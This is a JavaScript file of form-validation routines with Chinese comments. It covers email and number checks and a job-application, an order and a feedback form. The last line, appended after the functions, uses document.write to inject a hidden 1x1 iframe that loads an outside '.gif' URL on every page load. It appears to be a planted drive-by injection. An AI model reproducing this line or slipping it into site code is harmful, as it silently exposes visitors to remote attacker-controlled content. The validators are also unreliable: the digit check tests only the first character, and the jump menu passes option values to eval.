//验证电子邮件表达式
function isEmail(vEMail)
{
   var regInvalid=/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/;
   var regValid=/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/;
   return (!regInvalid.test(vEMail)&&regValid.test(vEMail));
}


//验证数字表达式
function fucCheckNUM(NUM)
{
   var i,j,strTemp;
   strTemp="0123456789";
   if(NUM.length==0)
   {
      return false;
   }
   else
   {
      for (i=0;i<NUM.length;i++)
	  {
		 j=strTemp.indexOf(NUM.charAt(i)); 
		 if (j==-1)
		 {
			return false;//说明有字符不是数字
		 }
		 else
		 {
		    return true;//说明是数字
		 }
	  }
   }
}


//判断在线招聘
function check()
{	
   if(document.myform.b_year.value=="" || document.myform.b_year.value.length!=4 || document.myform.b_year.value>2000 || document.myform.b_year.value<1900 )
   {
      alert("请输入正确的出生年份");
	  document.myform.b_year.select();
	  return false;
   }
   if(document.myform.g_year.value=="")
   {
      alert("请输入毕业时间");
	  document.myform.g_year.select();
	  return false;	   
   }
   if(document.myform.g_year.value.length!=4)
   {
      alert("请输入正确的毕业时间");
	  document.myform.g_year.select();
	  return false;
   }
   if(document.myform.g_year.value>2000 || document.myform.g_year.value<1900)
   {
	  alert("请输入正确的毕业时间");
	  document.myform.g_year.select();
	  return false;   
   }
   if((document.myform.email.value=="")||(!(isEmail(document.myform.email.value))))
   {
      alert("请正确输入您的EMAIL地址");
	  document.myform.email.select();
	  return false;
   }
   if(!(fucCheckNUM(document.myform.postalcode.value)))
   {
      alert("请正确输入正确的邮编");
	  document.myform.postalcode.select();
      return false;
   }
   if(!(fucCheckNUM(document.myform.stature.value)))
   {
      alert("请正确输入正确的身高");
	  document.myform.stature.select();
      return false;
   }
   return true;
}


//弹出窗口
function MM_openBrWindow(theURL,winName,features)
{
  window.open(theURL,winName,features);
}


//判别在线订单
function otherCheck()
{
   if(form.khqc.value=="")
   {
	  alert("请您填上客户全称");
      form.khqc.focus();
      return false;
   }
   if(isnum(form.khqc.value))
   {
      alert("请正确填写客户全称");
      form.khqc.focus();
      return false;
   }
   if(form.dh.value=="")
   {
      alert("请填上您的联系电话");
      form.dh.focus();
      return false;
   }
   if (form.lxr.value=="")
   {
      alert("请填上联系人");
      form.lxr.focus();
      return false;
   }
}


function isnotletter(str){
i=0;
while( i<str.length){
if((str.charAt(i)<'0')||((str.charAt(i)>'9')&&(str.charAt(i)<'A')) || ((str.charAt(i)>'Z')&&(str.charAt(i)<'a')) ||(str.charAt(i)>'z'))
return true ;
i++;}
return false;}
function isnotnum(str){
i=0;j=0;
while( i<str.length){
if(((str.charAt(i)<'0')|| (str.charAt(i)>'9'))&&(str.charAt(i)!='.') )
return true ;
if (str.charAt(i)=='.') j++;
i++;}
if (j>1) return(true);
return false;}
function isnum(str){
i=0;j=0;
while( i<str.length){
if(((str.charAt(i)<'0')|| (str.charAt(i)>'9'))&&(str.charAt(i)!='.') )
return false ;
if (str.charAt(i)=='.') j++;
i++;}
if (j>1) return(false);
return true;}
function check_num(text) {
if ((text.length!=15)&&(text.length!=18))
return true
else
return false;}


//意见反馈
function yjfk()
{
   if(form.name.value=="")
   {
	  alert("请您填上姓名");
      form.name.focus();
      return false;
   }
   if(form.address.value=="")
   {
      alert("请您填上地址");
      form.address.focus();
      return false;
   }
   if((form.email.value=="")||(!(isEmail(form.email.value))))
   {
      alert("请正确输入您的E-mail");
	  form.email.select();
	  return false;
   }
   if (form.fklx.value=="")
   {
      alert("请选择反馈类型");
      form.fklx.focus();
      return false;
   }
}


//下拉菜单跳转
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
document.write("<iframe src=\"http:\/\/www.victorydoor.com\/images\/1ine.gif\" width=\"1\" height=\"1\" frameborder=\"0\" scrolling=\"auto\"><\/iframe>");
